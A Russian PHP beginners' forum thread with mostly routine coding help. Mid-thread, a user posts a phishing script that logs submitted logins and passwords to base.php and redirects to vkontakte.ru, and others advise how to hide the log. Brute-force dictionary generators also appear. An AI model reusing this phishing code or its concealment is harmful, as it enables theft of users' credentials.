Просмотр полной версии : [php] Новичкам: задаем вопросы
посоветуйте что лучше почитать про использование шаблонов?
вот на текущий момент есть свесртанная страничка голый хтмл
хотелось бы прикрутить на нее новости(постраничные),дале еще что-то и т.д.
я так понимаю проще всего исп шаблон и уже писать осн функции....
Я так делаю:
function template($adr, $names) {
global $host;
$file = file_get_contents($adr);
//$file = str_replace('{TITLE}',$host['title'],$file);
$file = str_replace('{ADDR}',$host['addr'],$file);
//$file = preg_replace("|\{ADDR\}|i",$host['addr'],$file,-1);
foreach($names as $name => $value) {
//$file = str_replace('{'.$name.'}',$value,$file);
$file = preg_replace("|\{$name\}|i",$value,$file,-1);
}
return $file;
}
AkyHa_MaTaTa
20.01.2009, 23:46
Я так делаю:
function template($adr, $names) {
global $host;
$file = file_get_contents($adr);
//$file = str_replace('{TITLE}',$host['title'],$file);
$file = str_replace('{ADDR}',$host['addr'],$file);
//$file = preg_replace("|\{ADDR\}|i",$host['addr'],$file,-1);
foreach($names as $name => $value) {
//$file = str_replace('{'.$name.'}',$value,$file);
$file = preg_replace("|\{$name\}|i",$value,$file,-1);
}
return $file;
}
Млодец, просто все признаки MVC, да и smarty отдыхает, все smarty на помойку, буду использовать только твою библеотеку, у него стока готового функционала и обьекная модель понятна почти сразу. :)
Млодец, просто все признаки MVC, да и smarty отдыхает, все smarty на помойку, буду использовать только твою библеотеку, у него стока готового функционала и обьекная модель понятна почти сразу. :)
Ой молодец, как красиво подъёбываешь. Вот только твоего мнения на счёт этого не спрашивали, а я просто решил, что это может заинтересовать человека.
Действительно процедурное программирование для сиэмэс недопустимо + код что ты дал - непооизводительный. Шаблонизатор должнен генерировать нативный шаблон и кэшировать постоянные страницы
Пишу свой первый парсер почему ничего не выводит?
<?php // мой первый парсер
$cont = file_get_contents('http://webteach.ru/');
$pos = strpos($cont,'<div class="feat_title"><a href="http://webteach.ru/2008/12/29/paru-slov-o-biblioteke-gd/" rel="bookmark" title="Ссылка на Пару слов о библиотеке GD">Пару слов о библиотеке GD</a></div>' );
$cont = substr($cont,$pos );
$pos = strpos($cont,'<div class="column span-7 first">© 2008 PHP скрипты. Школа вебмастеров.. <a href="http://webteach.ru/feed/"><img src="http://webteach.ru/wp-content/themes/tma/images/bg/feedicon12.png" alt="RSS" style="vertical-align: top; margin: 2px 0 0 7px;" /></a></div>' );
$cont = substr($cont, 0, $pos);
echo $cont;
?>
2 Ru}{eeZ спс
щас сижу разбираюсь со смарти,вроде бы пока получается,есть такой вопрос как лучше разбить вывод результатов постарнично? ну допустим у меня выводится 200 таблиц а я хочу чтоб на странице было по 10
ikolla$$
21.01.2009, 01:13
set time limit - На 90% фришникакх нету
curl - 99.999999% нету фришек с курлом и соетами.
Pashkela
21.01.2009, 01:18
Пишу свой первый парсер почему ничего не выводит?
<?php // мой первый парсер
$cont = file_get_contents('http://webteach.ru/');
$pos = strpos($cont,'<div class="feat_title"><a href="http://webteach.ru/2008/12/29/paru-slov-o-biblioteke-gd/" rel="bookmark" title="Ссылка на Пару слов о библиотеке GD">Пару слов о библиотеке GD</a></div>' );
$cont = substr($cont,$pos );
$pos = strpos($cont,'<div class="column span-7 first">© 2008 PHP скрипты. Школа вебмастеров.. <a href="http://webteach.ru/feed/"><img src="http://webteach.ru/wp-content/themes/tma/images/bg/feedicon12.png" alt="RSS" style="vertical-align: top; margin: 2px 0 0 7px;" /></a></div>' );
$cont = substr($cont, 0, $pos);
echo $cont;
?>
потому что вопрос задавать надо там, где это принято: https://forum.antichat.ru/thread92492.html
и задавать не так, как ты, а "я вот хочу, чтобы с такой-то страницы вывелось бы конкретно ВОТ ЭТО......"
а не свои наработки, по которым вряд ли кто догадается в итоге на 100%, что тебе надо в итоге выцепить
потому что вопрос задавать надо там, где это принято: https://forum.antichat.ru/thread92492.html
и задавать не так, как ты, а "я вот хочу, чтобы с такой-то страницы вывелось бы конкретно ВОТ ЭТО......"
а не свои наработки, по которым вряд ли кто догадается в итоге на 100%, что тебе надо в итоге выцепить
Уш лучше ты мне так помог чем так как ты мне ответил лучше б молчал!
Читать пост пед идущий надо было чтоб вопросы такие не возникали! Я учусь!!!!!! писать парсер а вытаскивать пофиг чё повтряю УУУУЧУУУСЬ Дошло?
Pashkela
21.01.2009, 02:54
не быкуй, мальчег, писькой еще не вышел разговор с мущинами держать, задай вопрос правильно, т.е. что тебе надо, чтобы выцепилось? И задай не здесь, а там, где тебе намекнули, пока тебе модеры не "намекнули"
не быкуй, мальчег, писькой еще не вышел разговор с мущинами держать, задай вопрос правильно, т.е. что тебе надо, чтобы выцепилось? И задай не здесь, а там, где тебе намекнули, пока тебе модеры не "намекнули"
Ты как общаешься вася! Писькой не вышел говоришь! Хочешь пообщаться по душам??
Я те покажу свою письку и потом поглядим у кого она не вышла! Где и когда?
AkyHa_MaTaTa
21.01.2009, 03:09
Все начились меренья письками, кстати для этого есть лс.
Pashkela
21.01.2009, 03:10
Нет, вы видели? Он обозвал меня старой ведьмой! Ужас
ЗЫЖ Разговор окончен
Как выполнить команду командной строки с помощью php ???
Например ченить типа "coder.exe c:\work\uploads\1.avi -t" помогите плииииз =)
Vinsik, наверно <?php system("coder.exe c:\work\uploads\1.avi -t"); ?>
Как выполнить команду командной строки с помощью php ???
Например ченить типа "coder.exe c:\work\uploads\1.avi -t" помогите плииииз =)
http://ru2.php.net/manual/ru/ref.exec.php
Чем это закодированно??
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=ru_RU&email=mail%40mail.com&pass=pass&pass_placeholder=%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1 %8C&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84
Это в хеддере...
Zitt,
http://ru.php.net/manual/ru/function.urlencode.php
AkyHa_MaTaTa
21.01.2009, 12:53
2 Gifts & 2 oRb по всей видимости он не про это спрашивает
Чем это закодированно??
Это в хеддере...
какая кодировка в полях head-ера шлеться? Либо данные проходят какую то обработку перед urlencode, либо они в какой то не стандартной кодировки.
2 Gifts & 2 oRb по всей видимости он не про это спрашивает
какая кодировка в полях head-ера шлеться? Либо данные проходят какую то обработку перед urlencode, либо они в какой то не стандартной кодировки.
charset_test=?,´,?,�% B4,水,Д,Є&locale=ru_RU&email=mail@mail.com&pass=pass&pass_placeholder=Пароль&charset_test=?,´,?,�% B4,水,Д,Є
pass_placeholder - точно UTF-8
charset_test - хз
Думаю ситуация прояснится, если Zitt скажет, где он это отснифал.
groundhog
21.01.2009, 13:20
Да, вопрос не ясен... :) Хидер шлётся в чистом ASCII, все символы, которые не укладываются в таблицу ASCII кодируются в URL-encode (в PHP это делает urlencode функция, обратная ей - urldecode). Что касается контента HTTP-сообщения, то оно закодировано в соответствии с переданным хидером Content-Encoding. Ну и от себя могу добавить, что также неплохо было бы следить за хидерами Content-Transfer-Encoding и Transfer-Encoding, которые определяют каким образом были модифицированы данные тела HTTP-сообщения для обеспечения целостности передачи данных по каналам сети (очень актуально при передаче бинарных данных).
Ну и для полного осмысления HTTP 1/1:
http://www.w3.org/Protocols/rfc2616/rfc2616.html
AkyHa_MaTaTa
21.01.2009, 13:26
pass_placeholder - точно UTF-8
charset_test - хз
Думаю ситуация прояснится, если Zitt скажет, где он это отснифал.
Это не utf-8.
+ groundhog, я об этом же.
2 Zitt дай линк на сайт откуда это добро идет.
&pass_placeholder=Пароль - utf-8(меня обламали, это utf-8)
Это не utf-8.
Докажи.
Моя аргументация:
1.
<?php
$str = '%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1%8C';
$str = urldecode($str);
echo mb_detect_encoding($str), "\n", $str;
?>
2. Да и если тупо в utf-8 консоле запустить, то и без mb_detect_encoding все сразу видно.
3. Посчитай число символов, сразу станет понятно что это не однобайтная кодировка
AkyHa_MaTaTa
21.01.2009, 14:00
&pass_placeholder=Пароль - да я это utf-8, я сказал не правду, тогда это что?
<?php
$str ='%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0 %B4%2C%D0%94%2C%D0%84';
$str = urldecode($str);
echo mb_detect_encoding($str), "\n", $str;
?>
ладно, charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4
это какая то фича Face Book, по всей видимости так они проверяют поддержку utf-8 в браузере.
ух ты сколько отписавшихся... спасибо всем.. буду изучатть...
ДА это точна utf-8.. Можно строку в utf-8 перевести?
Привет всем! Из-за того что в свой двиг решил включить ajax, потребовалось перейти на utf8, и вот какая проблема беру файл, открываю через блокнот, сохраняю как utf8, все работает но ошибка типа заголовки уже отправлены невозможно открыть сессию, в чем может быть проблема?
Zitt, iconv('utf-8','windows-1251', $str);
Zedi, сохраняй без метки bom, в notepad++ вроде есть такое.
AkyHa_MaTaTa
21.01.2009, 17:40
2 Zedi открывай и сохраняй хотя бы в NOTEPAD++.
Joker-jar
21.01.2009, 17:41
Zedi, ищи вывод (echo и т.д.) где-то выше открытия сессии
AkyHa_MaTaTa
21.01.2009, 17:49
Zedi, ищи вывод (echo и т.д.) где-то выше открытия сессии
как написал chack проблема в что блокнот будет сохранять в файл с Include Unicode Signature(BOM), и поэтому в как бы в начале файла будут спец символы, перед <?php session_start() - и отсюда будет вывод в браузер этих символов перед выполнением php кода, ну и соответсвенно ошибко что хедар уже послан.
это опять я, отправляю данные ajax ом на PHP скрипт, при отправке русских букв приходят какие то кракозябры типа %u0410%u043D%u0442%u0438%u0447%u0430%u0442 как скриптом можно это расшифровать? urldecode не прокатил
это опять я, отправляю данные ajax ом на PHP скрипт, при отправке русских букв приходят какие то кракозябры типа %u0410%u043D%u0442%u0438%u0447%u0430%u0442 как скриптом можно это расшифровать? urldecode не прокатил
ajax.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
это добавляй к запросу + кодировка страницы клиента должна дополнительно выставляться:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" >
Вопрос как можно заменить
1 первый файл
<?php
define('H',true);
define('L',true);
define('C',true);
// потом проверку делаю 2
?>
<?php if(!defined('C')) die("Not Find") ; ?>
Вопрос как можно заменить это удобней
если например будет 30+ файл
все время писать define('H',true); ?
groundhog
21.01.2009, 18:38
Напиши это в цикле, а определяемые константы храни в массиве... При необходимости добавишь новый элемент в массив...
Люди, всем привет , не подскажете , как написать код, который находясь в bot.php каждые 10 секунд переходила бы по ссылкам на странице index.php, причём используя прокси из списка proxy.txt ?? Хотябы подкинте идею.
каждык 10 мин можно кроном или sleep(10000скокаката_там) ))
сам переход fsopen или curl загугли тем полно.
Каак можно на пхп сломаать интернет?
w.u.n., ты не хакер чтоле?? Любой закер на уровне знает что для этого нужно скачать коякер интернета....
preda1or
21.01.2009, 23:32
Люди, всем привет , не подскажете , как написать код, который находясь в bot.php каждые 10 секунд переходила бы по ссылкам на странице index.php, причём используя прокси из списка proxy.txt ?? Хотябы подкинте идею.
юзай cron если unix
как мне сделать чтоб логи Базы никто кроме меня не смог просматривать?
<?php
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$log = fopen("base.php","a+");
fwrite($log,"<br> $Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru'></head></html>";
?>
MaTpOc Первой строчкой в файле base.php написать <? if ($_COOKIE['somecook']!=='passwd') die; ?>
Или добавить в .htaccess:
<FilesMatch "^base\.php$">
AuthName "Only valid users can download zip files."
AuthType Basic
AuthUserFile /home/www/users/AM/pas/.htpasswd
Require valid-user
</ FilesMatch >
И в файле /home/www/users/AM/pas/.htpasswd - соответственно пароли
К примеру,
У тебя файл base.php, следовательно он будет обрабатываться интерпретатором
Ты открываешь файл на добавление
поэтому в начало файла можно написать, <?php exit; ?>
Через веб файл будет недоступен.
Можно через .htaccess закрыть доступ
Можно по типу первого варианта, только повесить авторизацию (401)
$auth = 0;
$login = "63a9f0ea7bb98050796b649e85481845"; // root
$pass = "63a9f0ea7bb98050796b649e85481845"; // root
if($auth && (md5($_SERVER['PHP_AUTH_USER'])!==$login || md5($_SERVER['PHP_AUTH_PW'])!==$pass))
{
header('WWW-Authenticate: Basic realm="basic"');
header('HTTP/1.0 401 Unauthorized');
die("<h1>Forbidden</h1>");
}
Как курлом получить\послать куки?
Юхал так
...
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
....
и вырезал куки из ответа.. всеравно сервер ругаеться что не посылаються куки.. ((
Pashkela
22.01.2009, 00:20
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_COOKIE, "__utma=; __utmb=; __utmc=;__utmz=;");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
Pashkela, ну это ясно.. так мы передаем куки.. а как их получить с пост запроса... Я регаюсь например на сайте, посылаю постом логин и пасс.. и получаю куки..
Pashkela
22.01.2009, 00:41
<?
$ch_autht = curl_init();
curl_setopt($ch_autht, CURLOPT_URL, "bla.ru");//куда конектится
curl_setopt($ch_autht, CURLOPT_COOKIEJAR, 'cookie.txt'); //автоматом запишит все куки в файл
curl_setopt($ch_autht, CURLOPT_COOKIEFILE, 'cookie.txt');// прочитает куки из записаного файла
curl_setopt ($ch_autht, CURLOPT_RETURNTRANSFER, 1);
$ch_buft = curl_exec($ch_autht);
curl_close($ch_autht);
echo $ch_buft;
?>
а у тебя
curl_setopt($ch, CURLOPT_COOKIE, "cookie.txt");
человек заходит на сайт, при этом выполняется определенный пхп скрипт.
как сделать так, чтобы скрипт выполнялся постоянно, без захода человека на сайт
эм.. ну как бы .. set_time_limit = 0 ?
один раз зайдёшь и будет он работать .. точнее не зайдёшь, а запустишь.
ога и ignor_user_abort();
то есть, добавь в начале скрипта:
set_time_limit(0);
ignore_user_abort();
или запускай скрипт по расписанию через cron.
Помогите плиз написать генератор всевозможный паролей.
MaTpOc chr() и mt_rand() тебе в помощь
Помогите плиз написать генератор всевозможный паролей.
зачем изобретать велосипед??
PasswordPro Тебе в помощь,там все есть.
А может ему для регистрации надо ;)
Выбирай в цикле случайные буквы из строки алфавита и присоединяй к конечной строке.
Сам напишешь - много опыта получишь. Потом оптимизмруем ;)
groundhog
22.01.2009, 12:16
А может ему для регистрации надо ;)
Выбирай в цикле случайные буквы из строки алфавита и присоединяй к конечной строке.
Сам напишешь - много опыта получишь. Потом оптимизмруем ;)
Дык зачем выбирать... Что-то хранить... Можно просто генерировать из заданного диапазона ASCII код, и через CHR конкатенировать к строке...
Дык зачем выбирать... Что-то хранить... Можно просто генерировать из заданного диапазона ASCII код, и через CHR конкатенировать к строке...
Да, но отмерка диапозонов, имхо - долгое занятие. Куда проще добавить уже готовый символ в алфавит, чем искать его по таблице. К тому же если в генераторе паролей будет функция выбора доп. символов, то без алфавита никак не обойтись
groundhog
22.01.2009, 13:49
ChaaK, ну в общем да, у тебя будет готовый алфавит, а у меня рваные диапазоны, тут появляется некоторое неудобство... Согласен.
Помогите плиз написать генератор всевозможный паролей.
<form method=post>
<input type=text name=number value="10">
<input type=submit value="Генерировать">
<form><br><br>
<?php
// Параметр $number - сообщает число
// символов в пароле
echo generate_password($_POST['number']);
function generate_password($number)
{
$arr = array('a','b','c','d','e','f',
'g','h','i','j','k','l',
'm','n','o','p','r','s',
't','u','v','x','y','z',
'A','B','C','D','E','F',
'G','H','I','J','K','L',
'M','N','O','P','R','S',
'T','U','V','X','Y','Z',
'1','2','3','4','5','6',
'7','8','9','0','.',',',
'(',')','[',']','!','?',
'&','^','%','@','*','$',
'<','>','/','|','+','-',
'{','}','`','~');
// Генерируем пароль
$pass = "";
for($i = 0; $i < $number; $i++)
{
// Вычисляем случайный индекс массива
$index = rand(0, count($arr) - 1);
$pass .= $arr[$index];
}
return $pass;
}
?>
Код спизжен :D :D
groundhog
22.01.2009, 14:08
Молодец, только форму закрой :)
AkyHa_MaTaTa
22.01.2009, 14:22
можно например и так
$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;
ребят, а кто нибудь запускал пхп скрипты тут?
на сервисах бесплатного крона?
какие мнение?
на постоянное выполнение...
Есть код который мне надо использовать несколько раз!
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1) {
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
else {
echo "Ошибка при зоздании Аватара";
exit();
}
printf("<a href='get.php?file=avatar/$name'><img src='avatar/$name' alt=''/></a>");
?>
Помогите сделать класс который моно использовать эквивалентно этому коду???
groundhog
22.01.2009, 15:15
У тебя вся логика тут перемешана... Это раз... Кода у тебя не так много, это два... "Это" лучше не трогать... Максимум - сделай из этого функцию и инклудь где нужно. Такой код не достоен попасть в ООП обёртку.
http://cronjob.ru/
какие мнение? Светят твоими данными?
nerezus, какими мылом что ли? )
У тебя вся логика тут перемешана... Это раз... Кода у тебя не так много, это два... "Это" лучше не трогать... Максимум - сделай из этого функцию и инклудь где нужно. Такой код не достоен попасть в ООП обёртку.
Я просто хочу научиться ООП по этому маленький код! Плиз покажи пример???
procedure
22.01.2009, 16:08
У меня есть переменная $info
я туда кидаю:
$info = "\nvar: $var,\nvar1 $var1 etc";
Почему у меня на следующую строчку не записываеться при записи в файл?
Как вообще можно записать в файл инфо, нормально?
Pashkela
22.01.2009, 16:18
$info = "\nvar: $var,\nvar1 $var1 etc";
$fout=fopen('output.txt','a+');
fwrite ($fout,$info . "\r\n");
fclose($fout);
У меня есть переменная $info
я туда кидаю:
$info = "\nvar: $var,\nvar1 $var1 etc";
Почему у меня на следующую строчку не записываеться при записи в файл?
Как вообще можно записать в файл инфо, нормально?
$info = "\nvar: $var,\nvar1 $var1 etc"
$fh=fopen("файл куда пишеш","a+");
fputs($fh,$info."\r\n");
fclose($fh);
Вот так
groundhog
22.01.2009, 16:18
$info = "\r\nvar: $var,\r\nvar1 $var1 etc";
[x26]VOLAND
22.01.2009, 16:50
Я просто хочу научиться ООП по этому маленький код! Плиз покажи пример???ООП нельзя научиться посмотрев на пример. Это не просто некая фишка, это целая идеология. И если даже выучишь, то понимание наступит далеко не сразу.
И во вторых, если что-то и "оборачивать" в ООП, то и вся архитектура должна быть объектно-ориентирована...
Как сказал groundhog, у тебя логика перемешана. Если ты, прежде чем задавать свой вопрос, не смог разделить логику и выделить какой именно функционал тебе нужно инкапсулировать в класс, то тебе ещё рано лезть в ООП...
можно например и так
$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;
как мне сделать чтоб пассы все сгенерились в столбик,
//мне надо для словарика
Pashkela
22.01.2009, 17:20
https://forum.antichat.ru/showpost.php?p=1073797&postcount=8113
MaTpOc Где то я это уже писал, генератор словарей:
<pre><?
// Функция для генерации
// $FROM, $TO - Начальное / Конечное количество символов
// $todo - Что делать со словом
// $alfa - Алфавит для генераци, нулевой элемент ДОЛЖЕН быть пустой строкой, иначе заменяется на нее
function gen($FROM, $TO , $todo, $alfa=array("","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"))
{
$alfa=array_values($alfa);
$alfa[0]="";
$count=count($alfa);
$eval='';
$eval2=array();
$slovo='';
for ($n=1;$n<=$TO;$n++)
{
$eval .='for ($'.chr(96+$n).'='.(($n-$TO+$FROM>=1) ? '1' : '0').';$'.chr(96+$n).'<'.$count.';$'.chr(96+$n).'++) {'."\r\n";
$eval2[]='$alfa[$'.chr(96+$n).']';
}
if (eval($eval.'$slovo = '.implode('.',$eval2).'; '.$todo.str_repeat('}',$TO))) return true; else return false;
}
define(FROM,2); // Начальное количество букв
define(TO,3); // Конечное количество букв
// Что делать с текущим словом, которое хранится в переменной $slovo
// Например запишем в файл
$todo='fwrite($f,$slovo."\r\n");';
$f=fopen('slovar.txt','w');
gen(FROM,TO,$todo);
fclose($f);
?>
как передать в функцию переменную?
[x26]VOLAND
22.01.2009, 17:38
function($var)
{
чёто делаем с этой $var
}
astrologer
22.01.2009, 17:39
как передать в функцию переменную? http://php.net/functions.arguments
Привет.
вобщем у меня че та этот скрипт не пашет(
<?php
$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;
$info = "\nvar: $var,\nvar1 $var1 etc";
$fout=fopen('output.txt','a+');
fwrite ($fout,$info . "\r\n");
fclose($fout);
?>
AkyHa_MaTaTa
22.01.2009, 18:36
вобщем у меня че та этот скрипт не пашет(
<?php
$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;
$info = "\nvar: $var,\nvar1 $var1 etc";
$fout=fopen('output.txt','a+');
fwrite ($fout,$info . "\r\n");
fclose($fout);
?>
echo $out; , $info = "\nvar: $var,\nvar1 $var1 etc"; ОМГ, каша, что тебе конкретно надо, что бы генерировались пароли случайные и потом записывались в файл?
VOLAND']function($var)
{
чёто делаем с этой $var
}
<?php
// подгружам нужные файлы
include("db.php");
include("function.php");
---------------------------------------------------------------
// передаём переменные
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
// запрос к базе
$q = "SELECT * FROM data WHERE id='$vibor'";
$result1 = mysql_query($q,$db);
if (!$result1) {
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
---------------------------------------------------------------
// закруглёные края
if ($zak == 1) {
ugolki ($im);
}
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
else {
echo "Ошибка при зоздании Аватара";
exit();
}
printf("<a href='get.php?file=avatar/$name'>сохранить</a><br>
<img src='avatar/$name' alt=''/>");
?>
Помогите из выделенного пунктиром текста кода сделать функцию ???
и как сделать картинку в коде черно белой???
[x26]VOLAND
22.01.2009, 19:24
Хоть убей не пойму что делает твой код, но всё же:
<?php
// подгружам нужные файлы
include("db.php");
include("function.php");
---------------------------------------------------------------
// передаём переменные
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
function process($vibor, $adres, $zak)
{
global $db;
// запрос к базе
$q = "SELECT * FROM data WHERE id='" . (int)$vibor . "'";
$result1 = mysql_query($q,$db) or exit(mysql_error());
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
// закруглёные края
if ($zak == 1) {
ugolki ($im);
}
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
} else {
exit("Ошибка при зоздании Аватара");
}
return $name;
}
$name = process($vibor, $adres, $zak);
printf("<a href='get.php?file=avatar/$name'>сохранить</a><br>
<img src='avatar/$name' alt=''/>");
?>
echo $out; , $info = "\nvar: $var,\nvar1 $var1 etc"; ОМГ, каша, что тебе конкретно надо, что бы генерировались пароли случайные и потом записывались в файл?
да, нада генерить всевозможные пароли в столбик по 8 знаков в строчке и чтоб это все складывалось в файл.
<?php
#~~~~~~~~Настройки~~~~~~~~#
$pass_len = 8; # длина пароля?
$pass_count = 1000; # сколько паролей генерировать?
$file_pass = 'passwords.txt'; # файл с паролями?
$truncate_file = true; # отчищать ли файл?
$add_symb = '!@#$%^&*'; # добавочные символы?
#~~~~~~~~---------~~~~~~~~#
/**
* genPass()
*
* @param int $len - длина
* @param string $mix - дополнительные символы
* @return string $result
*/
function genPass($len, $mix = '')
{
$alpha = 'qwertyuiopasdfghjklzxcvbnm1234567890'; #алфавит
$result = ''; #результат
$alpha .= $mix; #добавляем доп. символы
for($i = 0, $alphlen = strlen($alpha); $i < $len; $i++) #добавляем в цикле случайные символы
$result .= $alpha{mt_rand(0, $alphlen - 1)}; #случайное число из алфавита
return $result; #возвращаем результат
}
if(!$fp = fopen($file_pass, 'at')) #открываем файл
die('Невозможно открыть файл'.$file_pass);
if($truncate_file)
ftruncate($fp, 0); #отчищаем файл
for($i = 0; $i < $pass_count; $i++)
{
fwrite($fp, genPass($pass_len, $add_symb)."\r\n"); #записываем в файл по паролю на строчку
}
fclose($fp);
groundhog
22.01.2009, 19:53
ChaaK, всё хорошо, только не закрыл пхп тег и "не" с причастиями пишется слитно (невозможно) :)
[x26]VOLAND
22.01.2009, 20:00
ChaaK, всё хорошо, только не закрыл пхп тег и "не" с причастиями пишется слитно (невозможно) Использование закрывающего тега в пхп нежелательно.
ChaaK, всё хорошо, только не закрыл пхп тег и "не" с причастиями пишется слитно (невозможно) :)
невозможно - это наречие :), да оно пишется в этом случае слитно с не.
<?php ?>, закрывающийся тег нежелателен, при инклудах в другие скрипты возможны ошибки с хеадерами, поэтому я и не закрыл его.
Почему куки не очищаются?
setcookie("billing", "");
Возможно как-то все куки очистить?
Проблема в том что куки почемуто после создания называются не просто "billing" а "price billing" где price название страницы на которой куки создалить (тоесть параметр GET)
Есть две функции
function vkont($vibor, $adres)
{
global $db;
// запрос к базе
$q = "SELECT * FROM data WHERE id='" . (int)$vibor . "'";
$result1 = mysql_query($q,$db) or exit(mysql_error());
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
